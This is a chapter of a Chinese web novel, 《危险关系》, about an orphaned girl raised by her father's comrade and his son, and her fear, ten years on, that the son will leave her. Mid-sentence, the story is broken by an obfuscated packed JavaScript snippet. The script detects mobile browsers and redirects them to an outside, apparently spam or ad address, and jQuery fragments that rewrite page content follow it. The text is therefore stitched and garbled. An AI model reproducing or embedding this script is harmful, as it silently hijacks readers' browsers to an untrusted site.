2. 十年
作品:《危险关系》 岑嘉十岁时,父亲为救人牺牲了,母亲伤心过度,开车走神发生了意外,医生说她很难再醒过来了。
岑嘉到底还是个孩子,除了哭什么都不会,亲戚们视她为累赘,没人愿意抚养,踢皮球踢了近半年。
“可算有冤大头肯接走她了。”
在岑嘉听到几个叔伯议论的第二天,真的有人来接她了。
那天天气很好,温暖又明媚,她的行李箱一早就立在了门外,身后的屋内,全是解脱后的嬉笑声。
彼时岑嘉不懂,她已足够听话,吃的也不多,为何个个都厌烦她?
当然,再长大一些后她就明白了,听不听话不重要,吃得多不多也不重要,重要的是,在她身上,他们无利可图。
宋晖到时,岑嘉已经在石阶上坐了好几个小时了。
“你就是嘉嘉吧。”一见面,宋晖就送了她一只玩具熊。
岑嘉只看不接,宋晖当她不喜欢:“没关系,等回了江市叔叔在带你买新的。”
岑嘉想解释,她喜欢的,但只要到她手上了,很快就会被抢走,所以她不敢接。
离开前,宋晖在同叔伯道别,姑姑家五岁的妹妹跑来告诉她:“我妈说了,你是被买去做童养媳的,伺候人家的傻儿子,再帮傻儿子生傻儿子。”
岑嘉吓哭了,妹妹大笑着跑开了。
宋晖同她解释了一路:“你别怕,我不是坏人,我是你爸爸的战友,我们关系很好的。”
岑嘉哭得更凶了,直到宋晖拿出了他和岑父的合照。
岑父身姿笔挺,站在树荫下,透过镜头的目光,仿佛蔓延到了她的身上。
爸爸——
下车后,岑嘉抽抽搭搭地跟在宋晖身后,楼道口台阶上的少年,一身微光,徐风中扬起的衣角,同飘过的梧桐叶卷绕。
“这是我儿子宋绍淮。”
第一眼,即便在往后漫长的岁月里也很难淡忘,尽管此刻岑嘉什么都不懂。
宋晖还在同她介绍:“他比你大五岁,以后我不在,他会照顾你,你要愿意就喊他哥哥,要不愿意就和我一样,喊他臭小子。”
说到最后三个字时,面前的人眉心淡淡一皱,但没吭声。
岑嘉知道,没人愿意被这么称呼,而且五岁的孩子都能欺负她,心理阴影难以磨灭,她怕宋晖不在的时候,这人将她连人带东西丢出去,所以她只能抹掉泪,乖乖巧巧喊他:“哥哥。”
不知从哪掏了张纸巾,岑嘉听到他说:“擦擦吧。”
伸手接过,岑嘉再看向他时,他已经错开目光接过了宋晖手里的行李箱。
岑嘉默默不吭声,跟在最后,直到迈进大门,听到宋晖说:“嘉嘉,要去看看你的房间吗?”
岑嘉意外:“嗯?我的?”
宋绍淮在最前,已经提着她的行李推开了房门。
朝南向,温温暖暖,充满了果香,比她原来的还大一些。
岑嘉光顾着看,没注意行李箱被放平,宋绍淮已经蹲下要帮她收拾了。
回身看到,她吓了一跳:“我我我,我自己可以。”
她怕他,不仅是因为被欺负久了,也因为他不苟言笑的神情。
宋晖在客厅喊人:“臭小子,再出来炒两个菜。”
房门一关上,岑嘉松了口气,不管怎么说,就目前而言,比她预期的要好不少。
她的行李很少,但凡是值钱些或者好看些的裙子饰品,都已经被姐姐妹妹们搜刮的差不多了,剩下的有些已经不合身了,但没人想过要给她买,毕竟已经是白养着她的了。
午饭很丰盛,全是宋绍淮做的,岑嘉看着满满一桌菜再次意外,毕竟他也不过十五岁而已。
宋晖热情地招呼她:“尝尝,这臭小子厨艺很好的。”
岑嘉点头,但始终不敢动筷子,即便是宋晖夹给她的,她也不敢吃。
直到宋绍淮夹了一块肉片,她才跟着吃了一口,之后宋绍淮夹了根青菜,她也跟着吃了口青菜。
宋绍淮大抵是看出了什么,每道菜都吃了一口,岑嘉这才放心,一口一口细嚼慢咽吃起来。
不怪她多心,亲戚家的孩子往她饭菜里倒盐巴那是常事,过分的还倒过尿。
碗里的小山一直没矮下去过,吃到最后,肚子滚圆,这是她半年来吃的最安稳的一顿饭了,一个不小心,吃撑了。
她主动要洗碗,这也算是她学会的生存技能之一了,但被宋晖拦住了:“你当心碗碎了。”
岑嘉以为宋晖心疼碗,努力保证:“不会的,我会很小心的,不会打碎的。”
宋绍淮替宋晖解释:“会划破手。”
岑嘉有一瞬间失神,被欺压久了,有时候真的很难分出别人的善意。
周一,宋绍淮去上学,她的转学手续还没办好,暂时上不了只能留在家里,宋晖也没去上班,请假在家里陪她。
昨天一天安然无恙度过,再加上面无表情的宋绍淮不在,岑嘉没那么紧张了,可她怎么都没想到,她防住了宋绍淮,没防住宋晖。
中午,宋晖兴冲冲地下厨给她做饭,三菜一汤,像模像样,极具迷惑性。
岑嘉一口下去,险些吐出来,要不是看在对方是个成年人,还一脸希冀地看着她,她都要以为这人是故意的。
怎么能难吃成这样?
岑嘉勉为其难吃了半碗,再盯着吃得喷香的宋晖,她有些怀疑是不是自己味觉出了问题。
偷偷又尝了一口,好吧,出问题的不是她。
但味道难吃还是其次,可怕的是,吃完不到一个小时,岑嘉就开始上吐下泻。
宋晖着急忙慌地抱起她就送医院,结果出门时不小心将她头磕在门框上了。
岑嘉哭的力气都没有,额头那点破皮的疼痛很快就被腹痛掩盖过去了。
抽血检查折腾了一个多小时,确诊是食物中毒后,岑嘉终于打上了点滴。
护士贴完固定胶带,又核对完剩下的吊瓶,就同宋晖交代:“家属注意点,孩子血管细,不好扎。”
“是是,我会小心的。”才说完,宋晖一屁股下去坐到了输液管,针头被扯了下来。
手背上的血哗哗淌出来的那一刻,岑嘉开始怀疑,宋叔叔真的是父亲的战友吗?不是仇人?
挂完水回去休息,岑嘉再醒来时宋绍淮已经放学回来,她不知怎么了,见到他的那一刻特别委屈。
“哥哥。”
宋绍淮蹙眉,闷不吭声地将一旁的宋晖叫进了卧室,再出来时,父子俩脸色都不好,宋晖尤其是。
岑嘉不知发生了什么,也不敢吭声,直到宋绍淮面无表情地对她说:“没事离我爸远点。”
岑嘉误会了这话的意思,咬了咬唇点头:“知道了。”
宋绍淮以为自己表达到位了,毕竟这句话的字面意思太简单不过了。
但他不知,岑嘉一直战战兢兢过了两个多月,直到天气变凉,宋晖带着她和宋绍淮去买衣服。
她亲眼看到宋晖一个转身,将宋绍淮从扶手电梯上撞下去,这一刻,她才忽然理解了宋绍淮那句话的真正意思。
是该离宋叔叔远一些。
早在岑嘉来之前,宋绍淮就对宋晖说过了:“你连我都照顾不好,你确定能照顾好一个小丫头?”
宋晖想了又想:“我不行,不是还有你吗?那丫头太可怜了,你能狠心让她在外面吃苦?”
没见到人之前,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144152|164632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宋绍淮自然是无感,但见到以后,尤其听她可怜委屈地喊着:“哥哥。”
他想,再狠心的人应该也抵不过那张脸才对,怎么会有人舍得伤害她?
宋绍淮将宋晖拉进房间说:“我能照顾的前提是你别乱来,否则还不如送她去福利院。”
宋晖只能黑着脸保证:“今天是意外,以后不会了。”
以后真的很难说,但宋绍淮这一刻就知道,岑嘉会在家里住很久很久。
--
十年漫长,足以让岑嘉从战战兢兢的小姑娘,成长为明艳绽放的女性。
但十年又如弹指一瞬,岑嘉很怕,等不来下一个十年。
一整个暑假,宋绍淮一反常态,他花钱请了一个素不相识的家政阿姨,来照顾岑嘉的三餐和生活,自己则成天待在公司,不见人影。
直到暑假的最后几天,家政阿姨收拾屋子时,不慎划破岑嘉的手臂,宋绍淮这才出现,好在伤势不严重,宋绍淮也没让家政负责,只是结清了尾款,让她提前离开了。
但岑嘉一直觉得,如果她没有受伤,宋绍淮可能现在都不会出现。
所以她借口房间冷气不足,睡到他的卧室,弄乱他的床铺,乱扔衣服,目的就是想知道,宋绍淮还会不会像以前一样,无条件地纵容她。
虽然她知道这样不好,但恐惧大过理智。
黑夜里,宋绍淮沉默的那几秒,岑嘉尤为恐慌,她依赖他,就像游鱼离不开水,可就算是有血缘关系的人,感情也有被消耗的一天,更何况他们呢?
近十年相处,她非常清楚宋绍淮的软肋,可软肋的前提是,他十年如一日的爱她宠她,夫妻尚且还有七年之痒,他们既没有血缘羁绊,更无法律上的关系。
她很怕,一切摇摇欲坠。
“我知道,我的存在对你来说一直都是负担。”
从少年时期就背负上的责任,能维持到现在已是不易。
可她又怕自己贪心,她不能保证,未来的她会不会想要的更多,所以,与其到时候不欢而散,不如现在就挑明,或许还能维持表面的客套。
从她开口的那一刻,宋绍淮就已经后悔了,他想起她刚来的那两年,过年庆祝的烟火都能成为她恐惧的来源,捧在手心里护了这么多年,两个月的时间,险些将他建立起来的信任崩塌。
“不是负担。”他说,“我是心甘情愿的。”
岑嘉不相信,抬眼看他,他们距离足够近,即便月光缥缈,她却依稀能看见他的眉眼。
但她又靠近了些,鼻尖几乎贴着鼻尖:“那你为什么要躲着我?”
宋绍淮不知道如何回答。
“算了,你不要说了。”岑嘉也不敢听,她慢慢摸索着,柔软的手指划过他的掌心,抚上他的小指时,她说,“我一直想和你拉钩,让你保证永远都不会离开我,可我又想,这多幼稚啊,小孩子都不会答应。”
宋绍淮反应过来时,岑嘉已经退出了他的怀抱。
房间的灯重新亮起,岑嘉背对着他:“抱歉,我又耍小性子了,很晚了,早点睡吧。”
宋绍淮知道,如果此刻他什么都不做,任由她离开这个房间,自此裂痕就会存在,往后每一次矛盾,不论大小,痕迹终将越来越深,直到无法挽回。
他没得选择,“我当然爱你,你是我妹妹,我怎么会不爱你?”
岑嘉转身看他,眼眶通红,眼泪在打转,但还是努力忍着:“撒谎是会天打雷劈的。”
她像个赌气的孩子,自己害怕不算,非要恐吓别人,好似这样就能大获全胜。
但到底谁赢,真的很难说。
因为抛开因果逻辑,宋绍淮说:“不会,我说的都是实话。”